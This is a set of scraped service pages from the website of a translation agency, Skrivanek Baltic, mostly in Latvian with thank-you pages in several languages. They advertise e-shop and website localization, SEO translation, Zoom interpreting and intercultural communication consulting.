INTERNETA VEIKALU TULKOŠANAS UN LOKALIZĒŠANAS TEHNISKĀ PUSE Interneta veikalu tulkošana un lokalizēšana ietver arī IT darbu, galvenokārt tulkojamā satura iegūšanai no pirmkoda, jo katra lapa sastāv no lietotājiem neredzamiem elementiem, kas nepieciešami tās pareizai funkcionalitātei. Dažas platformas, kā Prestashop, jau nodrošina pamata funkcionalitāti produktu aprakstu tulkošanas atvieglošanai. Pašus produktu aprakstus – nosaukumus, produktu specifikācijas, kā arī mārketinga saturu – vienmēr pielāgo un tulko profesionālu tulkotāju komanda. DAUDZVALODU UN VAIRĀKU VALŪTU VIETNES, KAS TIEK UZTURĒTAS WORDPRESS WooCommerce Multilingual ļauj uzturēt interneta veikalus vairākās valodās un valūtās. WooCommerce ir populārākā un uzticamākā daudzvalodu e-komercijas platforma. Ļauj tulkot produktus un produktu variantus. Ļauj tulkot visus tekstus, ko pircēji redz iepirkšanās laikā. Ļauj noteikt cenas un iekasēt samaksu vairākās valūtās. Atvieglo SEO parametru identificēšanu dažādās valodās. Ir saderīgs ar visiem populārākajiem WooCommerce papildinājumiem un tēmām. Nāk ar WPML komplektiem – Multilingual CMS un Multilingual Agency. JURIDISKIE IZAICINĀJUMI Katram interneta veikalam ir būtiski atbilst katras valsts tiesību normām, nepareiza vai nepietiekama formalitāšu ievērošana var bloķēt pārdošanu attiecīgajā valstī un radīt nopietnas juridiskas sekas. Tas bieži vien nozīmē, ka ir jālieto un jāizceļ īpašas atsauces, jālieto speciālā terminoloģija, kas atbilst patērētāju tiesību uzraugošo institūciju prasībām, kā arī konkrētā zīmola pieņemtajai stratēģijai. Šādās situācijās tulkotājs sadarbībā ar klientu var sagatavot galveno terminu vārdnīcu. INFORMĀCIJAS DROŠĪBAS GARANTIJA Interneta veikalu tulkošanas un lokalizēšanas gaitā bieži vien mūsu IT atbalsta komandai ir nepieciešama piekļuve jūsu vietnes administratora panelim, kas var radīt papildu bažas par informācijas konfidencialitāti. Taču, ja jūs sadarbojaties ar Skrivanek Baltic tulkošanas biroju, varat būt droši, ka jūsu dati būs pilnīgā drošībā un nenonāks pie trešajām personām. Mūsu rūpes par informācijas drošību un konfidencialitāti apliecina ISO 27001 sertifikāts. KĀPĒC IR VĒRTS PASŪTĪT INTERNETA VEIKALA TULKOJUMU? Mazumtirdzniecības apjomi internētā ar katru gadu turpina pieaugt. Arvien vairāk un vairāk cilvēku interesējošos produktus un pakalpojumus meklē un iegādājas interneta veikalos, nevis klātienē. Tas attiecas uz visu veidu produktiem, sākot ar apģērbu, elektroierīcēm, grāmatām vai filmām, līdz pat pārtikai un medikamentiem. Tomēr, strauji attīstoties e-komercijai, arvien būtiskāka ir klientu apmierinātība un lojalitāte. Kā zināms, ja ir liela interneta veikalu izvēle, pircēji daudz biežāk izvēlas labi funkcionējošus interneta veikalus ar interesantu saturu savā dzimtajā valodā. Gudri īstenota jūsu interneta veikala satura tulkošana un lokalizēšana palīdzēs jums iegūt jaunus klientus un palielināt jūsu uzņēmuma produktu un pakalpojumu pārdošanas apjomu. Ja vēlaties pasūtīt interneta veikala tulkojumu – sazinieties ar mums! Sniedzam pakalpojumus gan mazākām vietnēm, gan lieliem izsoļu portāliem, pielāgojot mūsu darba veidu konkrētajam projektam. --- > Piedāvājam modernus tiešsaistes (Zoom u. c..) pasākumu secīgās un sinhronās tulkošanas pakalpojumus vairāk nekā 110 valodās. Tulkošana Zoom. - Published: 2023-02-09 - Modified: 2025-07-07 - URL: https://skrivanek.lv/tulkosana-tiessaiste-zoom-platforma/ - Translation Priorities: Optional Tiešsaistes pasākumu tulkošana, kas notiek, izmantojot Zoom vai jebkuru citu tiešsaistes sanāksmju rīku, ir kļuvusi teju par mūsu katra ikdienas daļu, jo īpaši pēc Covid-19 pandēmijas uzliesmojuma. Mēs esam pieraduši dzīvot un produktīvi strādāt attālinātā vidē, kurā Zoom sanāksmes ir aizvietojušas ierastās tikšanās konferenču telpās birojos. Vai Jūs piedalāties paši vai tikai organizējat starptautiskus tiešsaistes pasākumus? Vai tiešsaistes pasākuma dalībnieki runā dažādās valodās? Vai jums ir gadījies saskarties ar valodas barjerām, kas kavē efektīvu saziņu? Ar mūsu palīdzību tā ir pagātne. TULKOŠANA ZOOM PLATFORMĀ AR SKRIVANEK Uzņēmumā Skrivanek mēs piedāvājam modernus tiešsaistes pasākumu secīgās un sinhronās tulkošanas pakalpojumus un atbalstām savus klientus virtuālo pasākumu organizēšanā. Mēs strādājam tikai ar profesionāliem tulkiem ar atbilstošām valodu un mutiskās tulkošanas aprīkojumu prasmēm, kā arī ar padziļinātām zināšanām pasākuma tematikā. Ja nepieciešams, varam arī palīdzēt sagatavot visus tiešsaistes sanāksmei nepieciešamos materiālus, piemēram, prezentācijas, scenārijus un piezīmes. Iespējams arī visu notiekošo sarunu tulkojumus. Mūsu tulkošanas pakalpojumi Zoom platformā noderēs visās lietišķajās sanāksmēs, jo īpaši, ja tiek apspriesti sarežģīti biznesa attīstības jautājumi tādās jomās, kā, piemēram: veselības aprūpe; jurisprudence; uzņēmējdarbība; finanses; apdrošināšana; mārketings. Jūs vēlaties būt pārliecināts, ka katrs sanāksmes dalībnieks nepārprotami saprot visu, kas tajā tiek runāts, un ka viņš var klausīties un piedalīties sev vēlamajā valodā. Mūsu uzdevums ir jums palīdzēt! Ar mūsu palīdzību katra Zoom sanāksme ir efektīva un pieejama vairākās valodās. Vai jūsu uzņēmumam ir nepieciešams tulkošanas pakalpojums Zoom platformā? Sazinieties ar mums jau tagad! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par tulkošanu Zoom platformā jau tūlīt! KĀ TAS NOTIEK? Atkarībā no jūsu prasībām tulkošanu Zoom platformā var organizēt dažādos veidos. Galvenokārt dalībniekiem, kuriem nepieciešams tulkojums, ir jāpievienojas mūsu Zoom kontam, lai saņemtu tulkojumu reāllaikā. Ir iespējams arī apvienot vairākus rīkus, ja, piemēram, jūsu uzņēmums informācijas drošības nolūkā strādā tikai ar MS Teams vai kādu citu platformu. Ja iespējams, mēs iesakām iesaistītajām pusēm rīkot arī testa saslēgšanos, lai redzētu, kā viss darbojas un vai piedāvātais risinājums atbilst jūsu vēlmēm. Mēs vienmēr cenšamies pielāgoties klientu prasībām, tāpēc, ja jums ir kādas nestandarta vajadzības saistībā ar tulkošanu Zoom platformā, droši jautājiet. Mēs labprāt palīdzēsim jums vēlamajā formā un veidā! KAD JUMS VAJADZĒTU IZMANTOT TULKOŠANAS PAKALPOJUMU ZOOM PLATFORMĀ? Mūsu klienti izmanto mutvārdu tulkošanas pakalpojumu Zoom platformā vairākās situācijās, piemēram: tiešsaistes sanāksmēs un prezentācijās; lietišķās biznesa pārrunās un sarunās; videokonferencēs; tiešsaistes kursos un tīmekļsemināros. RĪKI UN PLATFORMAS, AR KURĀM MĒS STRĀDĀJAM TIEŠSAISTES SANĀKSMĒS Lai gan Zoom ir vispopulārākais tiešsaistes pasākumu rīks, ko izmantojam savā darbā, mēs labprāt palīdzēsim jums ar pasākumu, kas tiek rīkots jebkurā citā telekonferenču rīkā vai platformā, tostarp: Google Meet; Microsoft Teams; Skype; Facebook Live; YouTube Live; Slack videozvanos. PIEEJAMIE VALODU PĀRI Skrivanek mēs strādājam ar tulkiem un tulkotājiem no visas pasaules, nodrošinot tulkošanu vairāk nekā 110 valodās. Līdz ar to mēs varam piedāvāt tulkošanas pakalpojumu Zoom platformā visās Eiropas un lielākās daļas pasaules valodās, tāpēc jums nav jāaprobežojas tikai ar Zoom tīmekļa portāla piedāvātajām virsrakstu valodām. Bieži vien valodu pāri, ar kuriem mēs strādājam, ir angļu, itāliešu, franču, spāņu, poļu, ķīniešu (mandarīnu), krievu un daudzas citas. Katrā Zoom sanāksmē piedalās vismaz viens tulks, kurš var strādāt attālināti vai atrasties tajā pašā sanāksmes telpā kopā ar citiem pasākuma dalībniekiem. Un ko darīt, ja vienas sanāksmes vai tīmekļsemināra laikā ir vairāki runātāji? Mēs varam izmantot vairākus Zoom kontus un pārslēgt valodas atbilstoši jūsu konkrētajām vajadzībām. Tātad, ja plkst. 13. 00 jums ir runātājs no Ķīnas, bet plkst. 14. 00 – no Spānijas, mēs varam sekot līdzi un nodrošināt šo abu valodu tulkošanu. MŪSU PAKALPOJUMA PRIEKŠROCĪBAS Mēs saprotam, ka katrs pasākums ir ļoti svarīgs un jūs vēlaties, lai visi tā dalībnieki gūtu maksimālu labumu. Tāpēc mēs labprāt palīdzēsim, ne tikai tulkojot jūsu pasākumus, bet pat organizējot tos no nulles! Lūk, svarīgākie ieguvumi, ja organizēsiet tiešsaistes pasākumu kopā ar Skrivanek: piekļuve audio un video kanāliem HD kvalitātē; sanāksmes ierakstīšanas funkcija; pasākuma lielums līdz pat 300 dalībniekiem; ekrāna kopīgošanas funkcija; piekļuve, izmantojot mobilās ierīces; ērta datņu koplietošana visiem dalībniekiem; iebūvēts tērzētavas kanāls. Vai vēlaties uzzināt vairāk? Aizpildiet pieteikumu un nosūtiet to mums! TIEŠSAISTES MUTVĀRDU TULKOŠANAS VEIDI Mums ir ērti strādāt dažādos formātos. Atkarībā no jūsu vajadzībām jūs varat izmantot šādus tiešsaistes mutvārdu tulkošanas pakalpojumu veidus. SECĪGĀ TULKOŠANA Šajā formātā strādā tikai viens tulks, tulkojot no vienas valodas otrā un otrādi. Tulks noklausās, kamēr runātājs pasaka četrus vai piecus teikumus no savas runas. Kad runātājs pārtrauc runāt, tulks veic tikko teiktā mutvārdu tulkojumu. Secīgā tulkošana ir vienkāršākais mutvārdu tulkošanas veids, kas piemērots mazākiem pasākumiem. Vairāk SINHRONĀ TULKOŠANA Šis ir mūsdienīgākais tulkošanas veids liela mēroga pasākumiem. Tulki vienlaikus pārveido runāto dialogu tā, lai tiktu saglabāta sarunas vai runas dabiskā plūsma. Rezultātā tiek iegūts skaidrs un raits tulkojums gan runātājiem, gan klausītājiem, kuri lieto citu valodu. Minimālais tulku skaists ir divi, taču, ja pasākumā piedalās vairāku valodu runātāji, paralēli var strādāt pat 12 un vairāk tulku pāru. Viss ir iespējams, un mēs zinām, kā to darīt! Vairāk ČUKSTTULKOŠANA Tas ir sinhronās tulkošanas veids, kad tulks klausās runātājā un tulko teikto, čukstus pārtulkojot tikai vienam sanāksmes dalībniekam klātienes sesijas laikā. Sazināties TIEŠSAISTES MUTVĀRDU TULKOŠANAS VEIDI Mums ir ērti strādāt dažādos formātos. Atkarībā no jūsu vajadzībām jūs varat izmantot šādus tiešsaistes mutvārdu tulkošanas pakalpojumu veidus. SECĪGĀ TULKOŠANA Šajā formātā strādā tikai viens tulks, tulkojot no vienas valodas otrā un otrādi. Tulks noklausās, kamēr runātājs pasaka četrus vai piecus teikumus no savas runas. Kad runātājs pārtrauc runāt, tulks veic tikko teiktā mutvārdu tulkojumu. Secīgā tulkošana ir vienkāršākais mutvārdu tulkošanas veids, kas piemērots mazākiem pasākumiem. Vairāk SINHRONĀ TULKOŠANA Šis ir mūsdienīgākais tulkošanas veids liela mēroga pasākumiem. Tulki vienlaikus pārveido runāto dialogu tā, lai tiktu saglabāta sarunas vai runas dabiskā plūsma. Rezultātā tiek iegūts skaidrs un raits tulkojums gan runātājiem, gan klausītājiem, kuri lieto citu valodu. Minimālais tulku skaists ir divi, taču, ja pasākumā piedalās vairāku valodu runātāji, paralēli var strādāt pat 12 un vairāk tulku pāru. Viss ir iespējams, un mēs zinām, kā to darīt! Tas ir sinhronās tulkošanas veids, kad tulks klausās runātājā un tulko teikto, čukstus pārtulkojot tikai vienam sanāksmes dalībniekam klātienes sesijas laikā. Vairāk ČUKSTTULKOŠANA Tas ir sinhronās tulkošanas veids, kad tulks klausās runātājā un tulko teikto, čukstus pārtulkojot tikai vienam sanāksmes dalībniekam klātienes sesijas laikā. Sazināties --- - Published: 2023-02-03 - Modified: 2024-08-05 - URL: https://skrivanek.lv/paldies-par-pieprasijumu/ - Translation Priorities: Optional Thank you for contacting Skrivanek! Our Project Manager will be in touch with you shortly.  We are open Monday to Friday, from 9:00 to 17:30. tt If you have any further questions, please check out our FAQ page.  We recommend you take a look at our Blog to learn more about language industry trends. NEED MORE INFORMATION? EMAIL OR CALL US! Whether your questions are related to translations, language courses, other language services or simply need language advice, Skrivanek team will be happy to answer them.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Find out more about other services offered by Skrivanek Baltic: FOREIGN AND LATVIAN LANGUAGE COURSES FOR INDIVIDUALS AND COMPANIES Language courses for heart and career, online or in person! Choose the one that's right for you! VALODUMACIBAS. LV FOCUS – FOREIGN LANGUAGE AUDIT Fast and effective online tool for assessing the language skills of your employees and candidates. FIND OUT MORE --- - Published: 2023-02-03 - Modified: 2024-08-06 - URL: https://skrivanek.lv/paldies-par-pieprasijumu/ - Translation Priorities: Optional Aitäh, et võtsite Skrivanekiga ühendust! Meie projektijuht suhtleb teiega peagi.  Meie tööaeg on esmaspäevast reedeni kell 9. 00 kuni 17. 30. tt Soovitame vastuse saamiseks vaadata korduma kippuvate küsimuste jaotist KKK.  Tutvuge ka meie blogiga, kui teile pakuvad huvi keelevaldkonna suundumused või soovite lugeda keelenõuandeid. VAJATE LISATEAVET? KIRJUTAGE VÕI HELISTAGE MEILE! Skrivaneki meeskond vastab teie küsimustele heameelega, olgu need siis seotud tõlkimise, keelekursuste, muude keeleteenuste või lihtsalt vajadusega saada head keelenõu.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Lisateave teiste Skrivanek Balticu teenuste kohta: VÕÕRKEELTE KURSUSED ERAISIKUTELE JA ETTEVÕTETELE Keelekursused südame kutsel ja karjääri heaks, veebis või kohapeal! Valige endale sobivaim variant! VALODUMACIBAS. LV FOCUS – VÕÕRKEELTE OSKUSE AUDIT Kiire ja tõhus veebipõhine tööriist, mis aitab hinnata teie töötajate ja kandidaatide keeleoskust. VAADAKE LÄHEMALT --- - Published: 2023-02-03 - Modified: 2024-08-05 - URL: https://skrivanek.lv/paldies-par-pieprasijumu/ - Translation Priorities: Optional Kiitos, että otit yhteyttä Skrivanekiin! Projektipäällikkömme ottaa sinuun yhteyttä pian.  Olemme avoinna maanantaista perjantaihin klo 9. 00 – 17. 30. tt Jos sinulla on lisää kysyttävää, tutustu UKK-sivuumme.  Suosittelemme tutustumaan blogiimme, että saat lisätietoja kielialan trendeistä. TARVITSETKO LISÄTIETOJA? LÄHETÄ SÄHKÖPOSTIA TAI SOITA MEILLE! Liittyypä kysymyksesi käännöksiin, kielikursseihin tai muihin kielipalveluihin tai jos tarvitset kielineuvontaa, Skrivanekin tiimi vastaa mielellään.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Lue lisää Skrivanek Balticin muista palveluista: LATVIAN JA VIERAAN KIELEN KURSSIT YKSITYISHENKILÖILLE JA YRITYKSILLE Kielikursseja sydäntä ja uraa varten, verkossa tai henkilökohtaisesti! Valitse itsellesi sopivin! VALODUMACIBAS. LV FOCUS - VIERAAN KIELEN TARKASTUS Nopea ja tehokas online-työkalu työntekijöiden ja hakijoiden kielitaidon arviointiin. LISÄTIETOJA --- - Published: 2023-02-03 - Modified: 2024-08-06 - URL: https://skrivanek.lv/paldies-par-pieprasijumu/ - Translation Priorities: Optional Grazie per aver contattato Skrivanek! I nostri Project manager ti contatteranno al più presto.  Siamo aperti dal lunedì al venerdì, dalle 9:00 alle 17:30. tt Hai altre domande? Consulta la nostra pagina FAQ.  Fai un salto sul nostro Blog per saperne di più sulle tendenze del settore linguistico. HAI BISOGNO DI PIÙ INFORMAZIONI? MANDACI UN’E-MAIL O CHIAMACI! Che tu voglia chiederci qualcosa su traduzione, corsi di lingua, o altri servizi linguistici, o se magari hai solo bisogno di un consiglio in ambito linguistico, il team di Skrivanek sarà felice di aiutarti.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Scopri di più sui servizi offerti da Skrivanek Baltic: CORSI DI LINGUE STRANIERE E DI LINGUA LETTONE PER AZIENDE E PRIVATI Corsi di lingua per seguire le proprie passioni o per dare uno slancio alla propria carriera, online o in presenza! Scegli quello che fa per te! VALODUMACIBAS. LV FOCUS - VERIFICA DELLE COMPETENZE LINGUISTICHE Uno strumento online rapido ed efficace per la verifica delle competenze linguistiche dei tuoi dipendenti e candidati. SCOPRI DI PIÙ --- - Published: 2023-02-03 - Modified: 2024-08-05 - URL: https://skrivanek.lv/paldies-par-pieprasijumu/ - Translation Priorities: Optional Dėkojame, kad susisiekėte su Skrivanek! Mūsų projektų vadovas su Jumis susisieks jau visai netrukus.  Dirbame pirmadieniais–penktadieniais nuo 9. 00 iki 17. 30. tt Jeigu turite papildomų klausimų, kviečiame peržiūrėti Dažniausiai užduodamų klausimų skiltį DUK.  Rekomenduojame peržiūrėti mūsų tinklaraštį, kad sužinotumėte daugiau apie kalbų sektoriaus tendencijas ar kad susipažintumėte su mūsų latvių kalbos patarimais. REIKALINGA PAPILDOMA INFORMACIJA? PARAŠYKITE AR PASKAMBINKITE MUMS! Skrivanek komanda su džiaugsmu atsakys į Jūsų klausimus, ar jie būtų susiję su vertimais, kalbų kursais, kitomis kalbų paslaugomis, ar tiesiog būtų reikalinga su kalbomis susijusi konsultacija.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Sužinokite daugiau apie kitas Skrivanek Baltic paslaugas: UŽSIENIO KALBŲ KURSAI PRIVATIEMS ASMENIMS IR ĮMONĖMS Kalbų kursai širdžiai ir karjerai, internetu arba gyvai! Išsirinkite sau tinkamiausią! VALODUMACIBAS. LV FOCUS – UŽSIENIO KALBŲ MOKĖJIMO AUDITAS Greita ir efektyvi internetinė priemonė Jūsų darbuotojų ir kandidatų kalbos įgūdžiams nustatyti. SUŽINOKITE DAUGIAU --- - Published: 2023-02-03 - Modified: 2024-08-06 - URL: https://skrivanek.lv/paldies-par-pieprasijumu/ - Translation Priorities: Optional Благодарим за обращение в Skrivanek! Наш руководитель проектов свяжется с Вами в ближайшее время.  Мы работаем с понедельника по пятницу, с 09:00 до 17:30. tt Если у Вас возникли дополнительные вопросы, предлагаем перейти в раздел «Часто задаваемые вопросы (ЧаВо)».  Советуем заглянуть в наш блог, чтобы ознакомиться с актуальными тенденциями в языковой отрасли или советами по употреблению латышского языка. НУЖНА ДОПОЛНИТЕЛЬНАЯ ИНФОРМАЦИЯ? НАПИШИТЕ ИЛИ ПОЗВОНИТЕ НАМ! Команда Skrivanek с радостью ответит на Ваши вопросы о переводах, языковых курсах, других языковых услугах, а также поможет, если Вам просто нужна консультация по языкам.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Узнайте больше о других услугах Skrivanek Baltic: КУРСЫ ИНОСТРАННЫХ ЯЗЫКОВ ДЛЯ ЧАСТНЫХ ЛИЦ И ПРЕДПРИЯТИЙ Языковые курсы для души и карьеры, онлайн или на месте! Выберите наиболее подходящие! VALODUMACIBAS. LV FOCUS – АУДИТ ЗНАНИЯ ИНОСТРАННЫХ ЯЗЫКОВ Быстрый и эффективный онлайн-инструмент для оценки языковых навыков Ваших работников и кандидатов. УЗНАЙТЕ БОЛЬШЕ --- > Kohandame teie kodulehe konkreetse piirkonna jaoks, arvestades keelelisi ja kultuurilisi iseärasusi. Mõistlikud kulud ja sujuv protess ka mahukate tööde puhul. - Published: 2023-01-27 - Modified: 2024-08-13 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/ - Translation Priorities: Optional MIS ON KODULEHE LOKALISEERIMINE? Veebilehe tõlkimine ja lokaliseerimine on kõikehõlmav protsess, mille käigus kohandatakse toodet või teenust tutvustav tekst riigi või piirkonna turule. Arvesse võetakse nii sihtrühma keelelisi kui ka kultuurilisi iseärasusi. Sisu lokaliseerimine eeldab süvendatud teadmisi valdkonnas ja kohaliku kultuuriruumi tundmist. Professionaalsed tõlkijad ja sisu lokaliseerimise spetsialistid aitavad hinnata ja nõu anda ka selle kohta, kuivõrd vastab teie ettevalmistatud tekst võimalikule sihtrühmale – kas see kõlab piisavalt soravalt, annab põhisõnumi üheselt edasi, on selge ja arusaadav ning ei tekita negatiivseid või mitmetähenduslikke assotsiatsioone. Kuigi tänapäeval kasutatakse mitmesuguseid automaattõlke rakendusi, mida saab kodulehele lisada, siis nende abil tehtud tõlgete korrektsus võib soovida jätta. Tihtipeale ei ole masintõlgitud tekst emakeelekõneleja jaoks sujuv ega loomulik. Lokaliseerimisel on lisaks tõlkimisele ka muid tegureid, mida tuleb arvestada. VIIS PEAMIST ELEMENTI, MIDA KODULEHE LOKALISEERIMISEL ARVESSE VÕETAKSE: keel ja piirkond ─ kohandatakse sõnavara ja mõisteid, et täpselt ja loomulikul viisil edastada kohalikele klientidele toote või teenuse kohta teavet; kultuur ─ kuupäeva ja kellaaja ning mõõtühikute ja lühendite puhul kasutatakse konkreetsele riigile kohandatud vormistust; arvestatakse kohalikke traditsioone, tähtpäevi, riigipühi jms; ostutehingu turvalisus ─ kasutatakse asjaomase riigi valuutat ja maksevõimalusi, aadressid sisestatakse vastavalt piirkonna traditsioonile; suhtlus ja usaldus ─ lisatakse kohalikud telefoninumbrid, emakeelne klienditugi, tagatakse vastavus kohalikele seadusandlikele nõuetele, mis kaitsevad tarbijate õigusi; navigeerimine ja info leidmine ─ järgitakse kasutajakogemuse parimaid tavasid, et veebilehe külastajad leiaksid soovitud info kiiresti ja lihtsalt üles. OTSINGUMOOTORI OPTIMEERIMISE EHK SEO ABIL TÕLKIMINE SEO tõlked on olulised eelkõige seetõttu, et otsingumootorid kohandavad kuvatavaid tulemusi vastavalt kasutaja asukohale ja keelele, milles ta oma päringu sisestas. Seega: kui veebilehe sisu tõlgitakse, kuid SEO unarusse jäetakse, on väiksem tõenäosus, et leht otsingumootorite kaudu kergesti leitakse. SEO tõlge hõlmab märksõnade analüüsi, kasutades selleks piirkonnas kõige levinumat otsingumootorit. Enamikus riikides on selleks Google, kuid näiteks venekeelsete klientide puhul on olulisem Yandex ning Hiinas kasutatakse laialdaselt Baidut. Sellise analüüsi tegemine võimaldab leida teema kohta õiged märksõnad, mida saab loomulikul viisil tõlgitud tekstidesse põimida nii, et need aitavad kasutajatel otsitava leheni jõuda, kuid samas on sisuga kooskõlas ja tekst kergesti loetav. Teiseks on oluline pealkirjade tõlkimine teie valitud märksõnade abil, tagades samal ajal, et need on paraja pikkusega ja köidavad sihtrühma tähelepanu. Samuti on oluline tõlkida metakirjeldusi ehk HTML-i atribuute, mis annavad veebilehe sisu lühidalt edasi. Ka need elemendid peavad sisaldama asjakohaseid märksõnu ning haarama lugeja tähelepanu. WPML-I TÖÖRIIST MUUDAB KODULEHE LOKALISEERIMISE LIHTSAMAKS Volitatud partnerina pakume WPML-i rakenduse abil kodulehe lokaliseerimisteenust. WPML-i kasutamine kiirendab ja lihtsustab veebisaidi tõlkimise protsessi ning on eriti kasulik kodulehe mitmekeelse versiooni loomisel. WPML on üks populaarsemaid ja paremaid WordPressi rakendusi, mida kasutatakse kodulehe igat tüüpi sisu tõlkimiseks. Selle kasutajasõbralik ja intuitiivne liides säästab aega, kui loote oma kodulehele täiendavaid keeleversioone. Selle rakenduse eelised on lihtne seadistamine, kiire lokaliseerimine tänu optimeeritud töövoole ja tõlgitud sisu automaatne importimine veebisaidile. WPML-i kasutamine aitab ellu viia ka väga mahukaid projekte ning hoiab lokaliseerimiskulud mõistlikul tasemel. MIKS TEHA KOOSTÖÖD JUST SKRIVANEKIGA? Skrivanekil on enam kui 25 aastat kogemust tõlketeenuste pakkumise vallas mitmekümnes keelekombinatsioonis. Meil on põhjalikud teadmised erinevate tööstusharude kohta ja võimekus pakkuda tõlkelahendusi ka keerukamatele projektidele, sealhulgas tooterohkete veebipoodide tõlked ning SEO tõlked. Teeme kõik endast oleneva, et meie osutatavad tõlketeenused ja ka muu tegevus vastaks kehtivatele kvaliteedistandarditele ja EL-i direktiividele. Olime üks esimesi tõlkebüroosid, kes juurutas ISO 9001 standardile vastava kvaliteedijuhtimissüsteemi. Meil on kasutusel ISO 14001 nõuetele vastav keskkonnajuhtimissüsteem ja ISO 27001 sertifikaadiga infoturbe haldussüsteem. EN 17100 tõlketeenuste sertifikaat seab ranged nõuded tõlkeprotsessi kõikidele aspektidele, sealhulgas kvaliteedi tagamisele. Kodulehe lokaliseerimise kohta lisainfo saamiseks võtke meiega julgelt ühendust ning hea meelega selgitame protsessi ja võimalusi täpsemalt! ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksul KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada --- > Otrās iespējas atstāt pirmo iespaidu par sevi un savu uzņēmumu var arī nebūt. Piesakieties valodas un starpkultūru konsultācijai! 👋 - Published: 2023-01-07 - Modified: 2025-07-07 - URL: https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/ - Translation Priorities: Optional Otrās iespējas atstāt pirmo iespaidu par sevi un savu uzņēmumu var arī nebūt. Jūsu preču un pakalpojumu pārdošana ārzemju tirgos, īpaši interneta vidē, vienmēr būs saistīta ar zināmiem biznesa riskiem. Mēdz teikt, ka nevajag skatīt vīru no cepures, taču pirmais iespaids par jums un jūsu biznesu jaunos ārzemju tirgos ir kritiski svarīgs. Tas arī nozīmē, ka kumunikācijai par jūsu precēm un pakalpojumiem ir jābūt skaidri saprotamai un pielāgotai jūsu mērķauditorijai, ņemot vērā gan valodas, gan arī kultūras atšķirības. Biznesa literatūrā ir aprakstīti daudzi dažādi neveiksmīgi produkta reklāmas saukļu piemēri, kas bija par iemeslu nesekmīgai uzņēmējdarbības uzsākšanai. Daži piemēri: vai zinājāt, ka viens no populārākajiem brokastu ēdieniem Indijā ir Poha? savulaik Daimler ienāca Ķīnas tirgū ar savu jaunu zīmolu Bensi, kas ķīniešu valodā nozīmēja – steigties nomirt; kad Nokia savu jaunāko mobilo telefonu nodēvēja par Lumia, mārketinga speciālisti pieļāva rupju kļūdu, nepārbaudot, kā šis vārds var tikt tulkots citās valodās. Kad reklāma tika tulkota spāņu valodā, atklājās, ka vārds lumia spāņu valodā nozīmē – vieglas uzvedības sieviete; Pepsodent vēstījumā angļu valodā, reklamējot zobu pastu, ir teikts, ka tā padarīs zobus baltākus, taču reklāmas kampaņa izraisīja milzu sašutumu Dienvidaustrumāzijā. Vietējie iedzīvotāji speciāli lieto beteļu riekstus, kas padara viņu zobus melnus, jo tieši melni zobi tiek uzskatīti par skaista smaida etalonu. Tādēļ pirms ienākšanas jaunā ārvalstu tirgū ir obligāti nepieciešams izpētīt, kā jūsu produkta nosaukums un zīmola vēstījums tiks uztverts, jo valodas un kultūras atšķirības var izraisīt diezgan negaidītas un pat neparedzamas reakcijas sabiedrībā, pat mūsu mazajā Latvijas tirgū. Lai sekmīgi uzsāktu uzņēmējdarbību ārvalsts tirgū iesakām pārliecināties, ka izstrādātā komunikācijas stratēģija atbilst šādiem ieteikumiem: izvēlētais vēstījums nav pārāk sarežģīts, esat parūpējušies par augstas kvalitātes tulkojumu un mārketinga materiālu lokalizāciju un adaptāciju; tekstos nav idiomātisku izteicienu un vienkāršrunas vārdu, to vietā ir lietota viegli un ātri uztverama leksika, ko vajadzības gadījumā lasītājs varētu bez grūtībām atcerēties; esat padomājuši par vietējo paražu un kultūras normām, lai izvairītos no mulsinošām kļūdām un nevēlamām jēdzienu interpretācijām; pats svarīgākais ir pateikts pirmajā teikumā, jo katru nākamo teikumu izlasīs ar vien mazāk un mazāk lasītāju; produkta sauklis nav garāks par 5 vārdiem; ievērota rakstības koherence. Viens no Skrivanek Baltic pakalpojumiem ir arī starpkultūru komunikācijas konsultācijas, lai klientiem sniegtu profesionālu atbalstu jaunu tirgu apgūšanā. Katru projektu mēs analizējam no mērķa klienta perspektīvas, ja mērķa klients nav definēts, palīdzam to izdarīt, lai tālāk jau valodu speciālisti varētu precīzi identificēt lingvistiskās un starpkultūru komunikācijas problēmsituācijas, piemeklējot visefektīvākos risinājumus. Mūsu speciālisti novērtē zīmola komunikācijas stratēģiju, preču un 